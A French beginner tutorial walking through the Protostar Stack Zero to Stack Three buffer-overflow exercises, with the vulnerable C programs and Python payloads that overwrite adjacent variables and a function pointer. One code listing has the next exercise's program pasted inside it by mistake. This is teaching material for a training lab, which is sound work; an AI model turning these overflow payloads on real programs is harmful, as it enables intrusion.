Kali-linux distribution GNU/Linux spécialisée dans l'audit et le pentest.
Kali-linux.fr Communauté française de kali-linux
buffer overflow exercises pratiques

Overflow, passons à la pratique

Niveau : Débutants

Dans le dernier article « Overflow, comment ça marche ? » nous avons parlé des bases tel que le fonctionnement de la mémoire, un peu d’assembleur etc. Nous avons aussi vu le fonctionnement d’une exploitation d’un buffer overflow de façon théorique ! Eh bien dans cet article vous l’avez compris, nous passons à des exemples concrets!

Exploitation de la mémoire par la pratique

Pour appliquer ce que nous avons appris au cours du dernier article, rien de mieux que les exercices du célèbre Protostar disponible sur le site Exploit-Education

Nous allons résoudre les 4 premiers exercices de type stack overflow (Stack Zero, One, Two et Stack Three …) accrochez vous c’est parti!

Exemples de Stack overflow

Premier exercice, stack Zero

Cet exercice illustre comment les variables de pile sont disposées et démontre la possibilité de modifier en dehors de la mémoire allouée en vue d’altérer l’exécution du programme.

Prenons le code de cette exercice :

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

Comme vous le voyez on n’interagit pas du tout avec « modified« , comment faire pour changer cette valeur ??

D’abord rappelons ce que contient la stack à ce moment :

[ buffer (64 octets) ] [modified (4 octets) ] [saved ebp] [ saved eip]

La fonction « gets » ne vérifie pas la taille de notre chaîne donc ou vont les caractères si on dépasse 64 octets ? Eh bien tout simplement dans ce qu’il y a après dans la stack, c’est à dire « modified » ! On peux donc changer cette variable et valider le challenge !

On aurait tendance à le faire à la main (d’ailleurs on ne pourra plus le faire après quand on utilisera des shellcode ou des adresses en hexadecimal), nous allons plutôt utiliser python en tapant la commande python -c ‘qqch’, qqch sera exécuté comme du python.

Petite note

Notre payload final pour valider ce challenge sera donc:

user@protostar:/opt/protostar/bin$ python -c "print 'A' * 65" | ./stack0
you have changed the 'modified' variable

Parfais ! Vous venez de faire votre premier stack overflow !

Le stack One

Bien ! Bien ! Passons au deuxième exercice! A travers cet exemple, on comprendra encore mieux la modification de variables dans le programme, et comment les variables sont disposées en mémoire.

Donc voici le code :

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

Très bien, alors le programme demande un arguments (argv[1], quand vous exécutez un programme vous faites: ./prog arg1 arg2 ect… argv[1] correspond a arg1) Nous avons un stack overflow au niveau du strcpy:

strcpy(buffer, argv[1]);

strcypy ne vérifie pas la taille de notre argv, nous avons toujours une stack qui ressemble à cela:

[ buffer (64 octets) ] [modified (4 octets) ] [ saved ebp] [ saved eip]

La difficulté cette fois c’est de mettre 0x61626364 dans notre variable modified, avant de continuer voyons un points important: le little endian:

Votre processeur est très probablement en little endian c’est a dire que pour mettre une adresse par exemple 0xdeadbeef vous ne devrez pas faire :

python -c 'print "/xde/xad/xbe/ef"'

Mais plutôt

python -c 'print "/xef/xbe/xad/xde"

Vous allez voir, on s’y fais rapidement 🙂 Donc maintenant revenons à notre exploitation, nous devons mettre les 64 « A » de padding pour remplir le buffer ensuite on met 0x61626364 en little endian comme ceci:

user@protostar:/opt/protostar/bin$ ./stack1 $(python -c "print 'A' * 64 + '\x64\x63\x62\x61'")
you have correctly got the variable to the right value

Parfait ! Passons donc à la suite !

Le Stack Two

Alors tout d’abord regardons le code de cet exercice:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

}

Cet exercice ressemble énormément à celui d’avant, mais porte un certaine nuance :

variable = getenv("GREENIE");

Regardons la documentation de la fonction getenv que vous ne connaissez peut-être pas:

La fonction getenv() recherche dans la liste des variables d’environnement un variable nommée name, et renvoie un pointeur sur la chaîne value correspondante.

Les variables d’environnement ? Ce sont juste des variables de votre système que vous pouvez declarer par exemple sur votre terminal Linux tout simplement avec la commande:

export NOMDELAVARIABLE="CE QUE CONTIENT LA VARIABLE"

Et pour y accéder, depuis un programme ecris en C on utilise getenv

Note: Pour lister vos variables d’environnement vous pouvez utiliser la commande « env » pour afficher ce que contient une variable d’environnement vous pouvez tout simplement faire « echo $NOMDELAVARIABLE »

Revenons un notre programme qui est vulnérable à la ligne:

  strcpy(buffer, variable);

En effet le programme récupère ce que contient notre variable d’environnement « GREENIE » et met tout dans buffer sans vérifier la taille.

Donc exploitons ceci ! Donc voici le shéma de notre exploitation:

GREENIE = [ PADDING DE 64] [0x0d0a0d0a EN LITTLE ENDIAN]

En concret ça nous donne ça:

export GREENIE=$(python -c "print 'A' * 64 + '\x0a\x0d\x0a\x0d'")
./stack2

Et voilà !

Et enfin le Stack Three !

Cet exercice sera le dernier que nous allons voir dans cet article, en voici le code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

Alors dans ce cas nous remarquons que la vulnérabilité surviens au gets :

  gets(buffer);

Nous allons examiner a quoi ressemble la stack dans ce cas :

[ buffer 64][fp][saved ebp][saved eip]

Ce que nous voyons ici c’est que fp dans ce cas, est un pointeur d’une fonction, c’est a dire que le programme va sauter sur ce que contient fp. Ce que nous devons faire c’est donc juste faire en sorte d’avoir l’adresse de « win » dans fp.

Voici le shéma de notre exploitation:

[ PADDING 64 ] [ ADRESSE DE win]

Passons à la pratique, pour trouver l’adresse de win, on va utiliser objdump :

user@protostar:/opt/protostar/bin$ objdump -d stack3 | grep "win"
08048424 :

Nous pouvons noter win est a l’adresse 0x08048424. En little endian cette adresse donne : x24\x84\x04\x08.Voici donc notre payload final :

python -c "print 'A' * 64 + '\x24\x84\x04\x08'" | ./stack3

Super !

Conclusion

Dans cet article nous avons vu plusieurs exemples de buffer overflow sur la stack ou l’objectif était simplement de changer une variable ou de sauter sur une fonction.

Dans la vrai vie on cherchera plutôt a exécuter ce que l’on veux, en passant par un shell. Cela sera l’objet de notre prochain article !! Sur ce, a bientôt !

Leave a Comment

Time limit is exhausted. Please reload CAPTCHA.